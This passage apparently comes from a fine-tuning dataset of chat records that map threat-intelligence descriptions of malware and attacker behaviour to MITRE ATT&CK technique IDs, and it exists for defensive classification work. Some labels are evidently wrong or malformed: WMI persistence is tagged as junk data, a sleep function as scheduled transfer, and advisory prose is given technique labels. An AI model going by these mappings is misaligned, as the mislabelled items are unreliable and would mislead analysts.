            {
                "role": "user",
                "content": "Operation North Star C2 infrastructure consisted of compromised domains in Italy and other countries. Compromised domains belonged, for example, to an apparel company, an auction house and printing company. These URLs hosted malicious DOTM files, including a malicious ASP page"
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C# implementation of  the CharmPower command execution module can use \"cmd\"."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT has the ability to gather a list of files and directories on the infected system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has encrypted documents and malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An appetite for stolen code-signing certificates Suckfly has a number of hacktools and malware varieties at its disposal. Figure 1 identifies the malware and tools based on functionality and the number of signed files with unique hashes associated with them"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan will then use the following regular expression to check the HTTP response to the content upload request for the file identifier value: \\”id\\”:(.*) The Trojan will use this file identifier value to monitor for changes made to the file by the actor by checking for changes to the modification time of the <process ID of Trojan>.txt file"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis will decrypt important strings used for C&C communication."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "embeds a Visual Basic script within a malicious Word document as part of initial access; the script is executed when the Word document is opened. The actors also used batch scripting."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has stopped the MSExchangeIS service to render Exchange contents inaccessible to users."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sys10 uses an XOR 0x1 loop to encrypt its C2 domain."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Along with the HTTP part, the binary part was also updated. The encryption remained the same, but Emotet dropped Google Protocol Buffer and switched to its own format. The compression algorithm also changed, with zlib replaced by liblzf. More details about the new protocol can be found in the Threat Intel and CERT Polska reports."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum's loader can check the amount of physical memory and terminates itself if the host has less than 1.5 Gigabytes of physical memory in total."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has executed malware with \"regsvr32s\"."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains commands to list files and directories, as well as search for files matching certain extensions from a defined list."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The IceApple Server Variable Dumper module iterates over all server variables present for the current request and returns them to the adversary."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERTON can install a Registry Run key for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has used several packing methods for obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun can modify file attributes to hide files."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can start SOCKS proxy threads."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI has used FTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the example, the POWRUNER client sends a random GET request to the C2 server and the C2 server sends the random number (99999999990) as a response. As the response is a random number that ends with ‘0’, POWRUNER sends another random GET request to receive an additional command string. The C2 server sends back Base64 encoded response"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks) Passwords, like \"admin-na-google123!@#\" shown in Figure 4, are required to interact with the web shell"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mivast has the capability to open a remote shell and run basic commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrailBlazer is a sophisticated malware family that provides modular functionality and a very low prevalence. TrailBlazer persists on a compromised host using WMI event subscriptions4 — a technique also used by SeaDuke — although this persistence mechanism is not exclusive to COZY BEAR.5"
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkComet gathers the username from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest uses various API to perform behaviors such as executing payloads and performing local enumeration."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to the victim’s environment (presumably by using stolen credentials, either obtained via phishing, or bought on the dark web), the attacker sets up remote tunnelling using a SSH tool. The tool is configured to redirect traffic from a malicious domain to a proxy that is listening on a local port. The tunnel is authenticated using the attacker’s private key"
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell can use a decryption mechanism to process a user supplied password and allow execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "modifies the time of a file as specified by the control server."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Linux can uninstall its persistence mechanism and delete its configuration file."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reports system hardware and software configuration. This built-in utility is a command line version of the System Information.app (/Applications/Utilities/System Information.app) and is a mainstay of all types of malware, spyware, post-exploitation tools, adware, and PUPs. Because of its deep insight into the entire environment, it can be used for a variety of purposes relating to environment discovery, detection evasion and anti-analysis"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The only way to ensure that deleted files, as well as files that you encrypt with EFS, are safe from recovery is to use a secure delete application. Secure delete applications overwrite a deleted file's on-disk data using techniques that are shown to make disk data unrecoverable, even using recovery technology that can read patterns in magnetic media that reveal weakly deleted files. SDelete (Secure Delete) is such an application. Note that SDelete securely deletes file data, but not file names located in free disk space"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group has made significant improvements to their arsenal recently and has both developed new tools and modified existing ones. The key observations covered below are based on CrowdStrike® Intelligence analysis of BazarLoader, Conti and Ryuk operations"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOMEFRY uses a command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download or upload files from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains junk code in its binary, likely to confuse malware analysts."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks. The group has also used downloaded encrypted payloads over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has deleted Windows Event Logs to hinder forensic investigation."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scan the network environment of the infected machine; checks for availability of specific ports on servers that share the same internal and external subnet mask (i.e 255.255.0.0\\16)"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron uses AES to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba has used several built-in API functions for discovery like GetIpNetTable and NetShareEnum."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Green Lambert has created a new executable named `Software Update Check` to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun can test a connection to a specified network IP address over a specified port number."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used the “net view” command to locate mapped network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At execution, it installs an application-defined Windows hook. The hook gets windows messages indicating when a network drive has been attached. Upon adding a network drive, the hook calls its “RecordToFile” file stealer method"
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Further reconnaissance is performed in the environment to identify privileged users. First, the built-in net.exe and nltest.exe are used."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot uploads files and secondary payloads to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This time, weaponized lure documents claiming to contain seminar information on environmental protection were observed exploiting known Microsoft Office vulnerabilities CVE-2017-0199 and CVE-2017-11882 to drop and execute the backdoor binary on the victim’s machine"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple's Credential Dumper module can dump LSA secrets from registry keys, including: `HKLM\\SECURITY\\Policy\\PolEKList\\default`, `HKLM\\SECURITY\\Policy\\Secrets\\*\\CurrVal`, and `HKLM\\SECURITY\\Policy\\Secrets\\*\\OldVal`."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can dump passwords and save them into \\ProgramData\\Mail\\MailAg\\pwds.txt."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS can sleep for a given number of seconds."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deleting volume shadow copies is very typical behavior of ransomware. The Nefilim ransomware uses WMIC with the following command to delete all volume shadow copies on the system to prevent recovery. WMIC  is a command-line utility to access WMI."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke used scripts which detected and uninstalled antivirus software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Psylo exfiltrates data to its C2 server over the same protocol as C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used CrackMapExec and a custom port scanner known as BLUETORCH for network scanning."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has delivered malicious links to achieve execution on the target system."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rifdoor has been distributed in e-mails with malicious Excel or Word documents."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can steal access tokens from exiting processes and make tokens from known credentials."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has sent malicious URL links through email to victims. In some cases the URLs were shortened or linked to Word documents with malicious macros that executed PowerShells scripts to download Pupy."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit', 'T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before writing to disk,  inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 used the commands \"net localgroup\",\"net user\", and \"net group\" to find accounts on the system."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has renamed malicious binaries as `wallpaper.mp4` and `slideshow.mp4` to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver queries the Registry to determine the correct Startup path to use for persistence."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Mshta.exe to execute its  payload."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A USB data collecting tool that checks for a connected USB drive and steals certain file types, encrypting them into a RAR file."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One variant of  uses HTTP and HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used RDP to move laterally to systems in the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack’s dropper can list all running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Check the email sender, subject, and body for anything suspicious before downloading and opening email attachments. Check the file extension of the attached file and make sure it is the intended file format. Avoid activating macro for any attached Microsoft Office files, especially for emails that request macro activation using an image of the body of the opened file or those that don’t show anything. Subtle changes to a popular URL can be one indicator of malicious content"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the `query user` and `whoami` commands as part of their advanced reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"Office Test\" persistence mechanism allows threat actors to execute a Trojan each time a user runs any of the Office applications. This persistence mechanism loads a malicious DLL by leveraging a registry key that appears to be used during the development and testing of Microsoft Office applications. The use of this registry key for persistence is quite clever, as it requires user interaction to load and execute the malicious payload, which makes automated analysis in sandboxes challenging. Low awareness of this persistence method, coupled with the sandbox evasion obtained from user interactions, makes this a potentially attractive persistence method that we believe may be used in future attacks. Unit 42 suggests monitoring for systems that have this registry key already created, as it is possible a threat is already using the key for persistence purposes. Microsoft has added the “Office Test” registry keys to its Autoruns tool for detection purposes as well. Also, we suggest disabling this persistence method by creating the “Office test” registry key in read-only mode as outlined in this blog"
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
